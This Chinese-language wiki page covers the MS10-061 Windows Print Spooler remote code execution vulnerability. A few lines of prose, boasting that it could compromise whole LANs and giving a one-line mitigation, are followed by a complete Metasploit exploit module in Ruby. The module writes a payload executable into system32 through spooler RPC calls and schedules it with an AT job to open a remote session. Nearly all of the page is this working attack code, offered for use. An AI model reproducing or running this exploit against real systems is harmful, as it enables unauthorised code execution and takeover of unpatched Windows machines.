习科小黑板 - Silic Wiki

微软的Windows有很多远程代码执行漏洞，现在后台打印程序服务也被发现有这样的漏洞。

远程攻击者可以利用此问题来执行内核级权限的代码。也可以进行利用提交打印作业进行提权。

注意：要利用此漏洞，攻击者必须先获得提交打印作业的权限，打印服务在Windows XP上默认是开启的，局域网里甚至可能通杀！

避免局域网的打印共享攻击，对使用打印服务共享者进行身份验证，或配置为不允许匿名访问即可。

影响版本：Windows近乎通杀

ms10061.rb

#ms10_061_spoolss.rb jduck
#This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions.
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
        Rank = ExcellentRanking
        include Msf::Exploit::Remote::DCERPC
        include Msf::Exploit::Remote::SMB
        include Msf::Exploit::EXE
        def initialize(info = {})
                super(update_info(info,
                        'Name'           => '微软Print Spooler服务远程溢出漏洞',
                        'Description'    => %q{
                                        This module exploits the RPC service impersonation vulnerability detailed in
                                Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the
                                StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service
                                to create a file. The working directory at the time is %SystemRoot%\\system32.
                                An attacker can specify any file name, including directory traversal or full paths.
                                By sending WritePrinter requests, an attacker can fully control the content of
                                the created file.
 
                                In order to gain code execution, this module writes an EXE and then (ab)uses the
                                impersonation vulnerability a second time to create a secondary RPC connection
                                to the \\PIPE\\ATSVC named pipe. We then proceed to create a remote AT job using
                                a blind NetrJobAdd RPC call.
                        },
                        'Author'         =>
                                [
                                        'jduck',  # re-discovery, printer RPC stubs, module
                                        'hdm'     # ATSVC RPC proxy method
                                ],
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision:10442,
                        'Platform'       => 'win',
                        'References'     =>'MSB MS10-061',
                        'Privileged'     => true,
                        'Payload'        =>
                                {
                                        'Space'    => 1024,
                                        'BadChars' => "",
                                        'DisableNops' => true,
                                },
                        'Targets'        =>
                                [
                                        [ 'Windows Universal', { } ]
                                ],
                        'DisclosureDate' => 'Sep 14 2010',
                        'DefaultTarget' => 0))
 
                register_options(
                        [
                                OptString.new('SMBPIPE', [ false,  "The named pipe for the spooler service", "spoolss"]),
                                OptString.new('PNAME',   [ false,  "The printer share name to use on the target" ]),
                        ], self.class)
        end
        def exploit
                connect()
                login_time = Time.now
                smb_login()
                print_status("Trying target #{target.name}...")
                handle = dcerpc_handle('12345678-1234-abcd-EF00-0123456789ab', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
                print_status("Binding to #{handle} ...")
                dcerpc_bind(handle)
                print_status("Bound to #{handle} ...")
                # Try all of the printers :)
                printers = []
                if (pname = datastore['PNAME'])
                        printers << pname
                else
                        res = self.simple.client.trans(
                                "\\PIPE\\LANMAN",
                                (
                                        [0x00].pack('v') +
                                        "WrLeh\x00"   +
                                        "B13BWz\x00"  +
                                        [0x01, 65406].pack("vv")
                                )
                        )
                        printers = []
                        lerror, lconv, lentries, lcount = res['Payload'].to_s[
                                res['Payload'].v['ParamOffset'],
                                res['Payload'].v['ParamCount']
                        ].unpack("v4")
                        data = res['Payload'].to_s[
                                res['Payload'].v['DataOffset'],
                                res['Payload'].v['DataCount']
                        ]
                        0.upto(lentries - 1) do |i|
                                sname,tmp = data[(i * 20) +  0, 14].split("\x00")
                                stype     = data[(i * 20) + 14, 2].unpack('v')[0]
                                scoff     = data[(i * 20) + 16, 2].unpack('v')[0]
                                if ( lconv != 0)
                                        scoff -= lconv
                                end
                                scomm,tmp = data[scoff, data.length - scoff].split("\x00")
                                # we only want printers
                                next if stype != 1
                                printers << sname
                        end
                end
                # Generate a payload EXE to execute
                exe = generate_payload_exe
                printers.each { |pr|
                        pname = "\\\\#{rhost}\\#{pr}"
                        print_status("Attempting to exploit MS10-061 via #{pname} ...")
                        # Open the printer
                        status,ph = open_printer_ex(pname)
                        if status != 0
                                raise RuntimeError, ('Unable to open printer: %d' % status)
                        end
                        print_status("Printer handle: %s" % ph.unpack('H*'))
#NOTE: fname can be anything nice to write to (cwd is system32), even directory traversal and full paths are OK.
                        fname = rand_text_alphanumeric(14) + ".exe"
                        write_file_contents(ph, fname, exe)
# Calculate the time (in milliseconds since midnight) to run the job at.
# NOTE: We use the server's time as determined during SMB negotiation, which is sent in UTC. We have to localize it before moving on, using the timezone which they also kindly sent us.
                        server_time = simple.client.system_time.utc
                        server_time += simple.client.system_zone        # adjust to localized time
                        job_time = seconds_since_midnight(server_time)  # convert to seconds since midnight
                        elapsed = Time.now - login_time                 # account for time the module took so far
                        job_time += (elapsed.ceil + 60)                 # round up and add a minute for safety
                        job_time *= 1000                                # convert to milliseconds
# Ugh, why does time have to be so hard to keep track of :) -jjd
#print_status("Server time at login was: #{server_time}")
#print_status("Our time at login was: #{login_time} (elapsed: #{elapsed})")
#print_status("Using job time: #{job_time}")
                        create_at_job(ph, job_time, fname)
 
                        # ClosePrinter
                        status,ph = close_printer(ph)
                        if status != 0
                                raise RuntimeError, ('Failed to close printer: %d' % status)
                        end
                        break if session_created?
                }
                print_status("Everything should be set, waiting up to two minutes for a session...")
                handler
                disconnect
        end
 
#Use the vuln to write a file :)
        def write_file_contents(ph, fname, data)
 
                doc = rand_text_alphanumeric(16+rand(16))
 
                #StartDocPrinter
                status,jobid = start_doc_printer(ph, doc, fname)
                if status != 0 or jobid < 0
                        raise RuntimeError, ('Unable to start print job: %d' % status)
                end
                print_status("Job started: 0x%x" % jobid)
 
                #WritePrinter
                status,wrote = write_printer(ph, data)
                if status != 0 or wrote != data.length
                        raise RuntimeError, ('Failed to write %d bytes!' % data.length)
                end
                print_status("Wrote %d bytes to %%SystemRoot%%\\system32\\%s" % [data.length, fname])
 
                # EndDocPrinter
                status = end_doc_printer(ph)
                if status != 0
                        raise RuntimeError, ('Failed to end print job: %d' % status)
                end
        end
 
#Create an AT job using the ATSVC proxied via the vulnerability
        def create_at_job(ph, job_time, fname)
                doc = rand_text_alphanumeric(16+rand(16))
                at_pipe = "\\\\#{rhost}\\PIPE\\ATSVC"
                # StartDocPrinter
                status,jobid = start_doc_printer(ph, doc, at_pipe)
                if status != 0 or jobid < 0
                        raise RuntimeError, ('Unable to start printer: %d' % status)
                end
                print_status("Job started: 0x%x" % jobid)
                # Send a DCE RPC bind request down the connection
                at_bind, at_ctx = Rex::Proto::DCERPC::Packet.make_bind("1ff70682-0a51-30e8-076d-740be8cee98b", "1.0")
                status,wrote = write_printer(ph, at_bind)
                if status != 0 or wrote != at_bind.length
                        raise RuntimeError, ('Failed to write %d bytes!' % at_bind.length)
                end
                print_status("Wrote bind request for #{at_pipe} (%d bytes)" % at_bind.length)
                # NetrJobAdd RPC stub
                at_stub =
                        NDR.long(0) +        # hostname
                        # AT_INFO
                        NDR.long(job_time) + # JobTime
                        NDR.long(0) +        # DaysOfMonth
                        NDR.long(0) +        # DaysOfWeek
                        NDR.long(0x1c) +     # Flags
                        NDR.wstring(fname)
# Make and write the calls to make the NetrJobAdd request
                at_calls = Rex::Proto::DCERPC::Packet.make_request(0x00, at_stub, 512, at_ctx, '')
                at_calls.each { |data|
                        next if not data
                        status,wrote = write_printer(ph, data)
                        if status != 0 or wrote != data.length
                                raise RuntimeError, ('Failed to write %d bytes!' % data.length)
                        end
                        print_status("Wrote %d bytes of NetrAddJob request" % data.length)
                }
                # Write an empty string to signal the end of the RPC request
                data = ""
                status,wrote = write_printer(ph, data)
                if status != 0 or wrote != data.length
                        raise RuntimeError, ('Failed to write %d bytes!' % data.length)
                end
                # EndDocPrinter
                status = end_doc_printer(ph)
                if status != 0
                        raise RuntimeError, ('Failed to end print job: %d' % status)
                end
        end
#Call RpcOpenPrinterEx
        def open_printer_ex(pname, machine = nil, user = nil)
=begin
                DWORD RpcOpenPrinterEx(
                        [in, string, unique] STRING_HANDLE pPrinterName,
                        [out] PRINTER_HANDLE* pHandle,
                        [in, string, unique] wchar_t* pDatatype,
                        [in] DEVMODE_CONTAINER* pDevModeContainer,
                        [in] DWORD AccessRequired,
                        [in] SPLCLIENT_CONTAINER* pClientInfo
                );
=end
#NOTE:For more information about this encoding, see the following sections of the Open Group's C706 DCE 1.1: RPC
#14.3.8 Unions/14.3.10 Pointers/14.3.12.3 Algorithm for Deferral of Referents
                machine ||= ''
                machine = NDR.uwstring(machine)
                user ||= ''
                user = NDR.uwstring(user)
                splclient_info =
                        NDR.long(0) +          # DWORD dwSize;
                        machine[0,4] +         # [string] wchar_t* pMachineName;
                        user[0,4] +            # [string] wchar_t* pUserName;
                        NDR.long(7600) +       # DWORD dwBuildNum
                        NDR.long(3) +          # DWORD dwMajorVersion;
                        NDR.long(0) +          # DWORD dwMinorVersion;
                        NDR.long(9)            # unsigned short wProcessorArchitecture;
#Add the deferred members
                splclient_info << machine[4, machine.length]
                splclient_info << user[4, user.length]
                splclient_info[0,4] = NDR.long(splclient_info.length)
                splclient_info =
                        #union!
                        NDR.long(1) +        # discriminant (inside copy)
                        NDR.long(rand(0xffffffff)) +
                        splclient_info
                stubdata =
                        NDR.uwstring(pname) +  # pPrinterName
                        NDR.long(0) +
                        # DEVMODE_CONTAINER (null)
                        NDR.long(0) +
                        NDR.long(0) +
                        # AccessRequired
                        NDR.long(0x02020000) +
                        # SPLCLIENT_CONTAINER
                        NDR.long(1) + # Level (must be 1)
                        # SPLCLIENT_INFO_1
                        splclient_info
                #print_status('Sending OpenPrinterEx request...')
                response = dcerpc.call(69, stubdata)
                if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
                #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
                        handle = dcerpc.last_response.stub_data[0,20]
                        status = dcerpc.last_response.stub_data[20,4].unpack('V').first
                        return [status, handle]
                end
                nil
        end
#Call RpcStartDocPrinter
        def start_doc_printer(handle, dname, fname, dtype = nil)
=begin
                typedef struct _DOC_INFO_CONTAINER {
                        DWORD Level;
                        [switch_is(Level)] union {
                                [case(1)]
                                DOC_INFO_1* pDocInfo1;
                        } DocInfo;
                } DOC_INFO_CONTAINER;
                DWORD RpcStartDocPrinter(
                        [in] PRINTER_HANDLE hPrinter,
                        [in] DOC_INFO_CONTAINER* pDocInfoContainer,
                        [out] DWORD* pJobId
                );
=end
                dname = NDR.uwstring(dname)
                if fname
                        fname = NDR.uwstring(fname)
                else
                        fname = NDR.long(0)
                end
                if dtype
                        dtype = NDR.uwstring(dtype)
                else
                        dtype = NDR.long(0)
                end
                doc_info =
                        dname[0, 4] +
                        fname[0, 4] +
                        dtype[0, 4]
                # Add the deferred members
                doc_info << dname[4, dname.length]
                doc_info << fname[4, fname.length]
                doc_info << dtype[4, dtype.length]
                doc_info =
                        # Union!
                        NDR.long(1) +
                        NDR.long(rand(0xffffffff)) +
                        doc_info
                stubdata =
                        handle +
                        NDR.long(1) +
                        doc_info
                #print_status('Sending StartDocPrinter request...')
                response = dcerpc.call(17, stubdata)
                if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
                        #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
                        jobid, status = dcerpc.last_response.stub_data.unpack('VV')
                        return [status, jobid]
                end
                nil
        end
#Call RpcWritePrinter
        def write_printer(handle, data)
=begin
                DWORD RpcWritePrinter(
                        [in] PRINTER_HANDLE hPrinter,
                        [in, size_is(cbBuf)] BYTE* pBuf,
                        [in] DWORD cbBuf,
                        [out] DWORD* pcWritten
                );
=end
                stubdata =
                        handle +
                        NDR.long(data.length) +
                        # Perhaps we need a better data type for BYTE* :)
                        data +
                        NDR.align(data) +
                        NDR.long(data.length)
                #print_status('Sending WritePrinter request...')
                response = dcerpc.call(19, stubdata)
                if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
                        #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
                        wrote,status = dcerpc.last_response.stub_data.unpack('VV')
                        return [status, wrote]
                end
 
                nil
        end
#Call RpcEndDocPrinter
        def end_doc_printer(handle)
=begin
                DWORD RpcEndDocPrinter(
                        [in] PRINTER_HANDLE* phPrinter
                );
=end
                #print_status('Sending EndDocPrinter request...')
                response = dcerpc.call(23, handle)
                if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
                        #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
                        status = dcerpc.last_response.stub_data[0,4].unpack('V').first
                        return status
                end
                nil
        end
#Call RpcClosePrinter
        def close_printer(handle)
=begin
                DWORD RpcClosePrinter(
                        [in, out] PRINTER_HANDLE* phPrinter
                );
=end
                #print_status('Sending ClosePrinter request...')
                response = dcerpc.call(29, handle)
                if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
                        #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
                        handle = dcerpc.last_response.stub_data[0,20]
                        status = dcerpc.last_response.stub_data[20,4].unpack('V').first
                        return [status,handle]
                end
                nil
        end
        def seconds_since_midnight(time)
                # .tv_sec always uses .utc
                (time.tv_sec % 86400)
                # This method uses the localtime
                #(time.hour * 3600) + (time.min * 60) + (time.sec)
        end
#We have to wait up to two minutes because the Task Scheduler only has minute granularity.
        def wfs_delay
                120
        end
end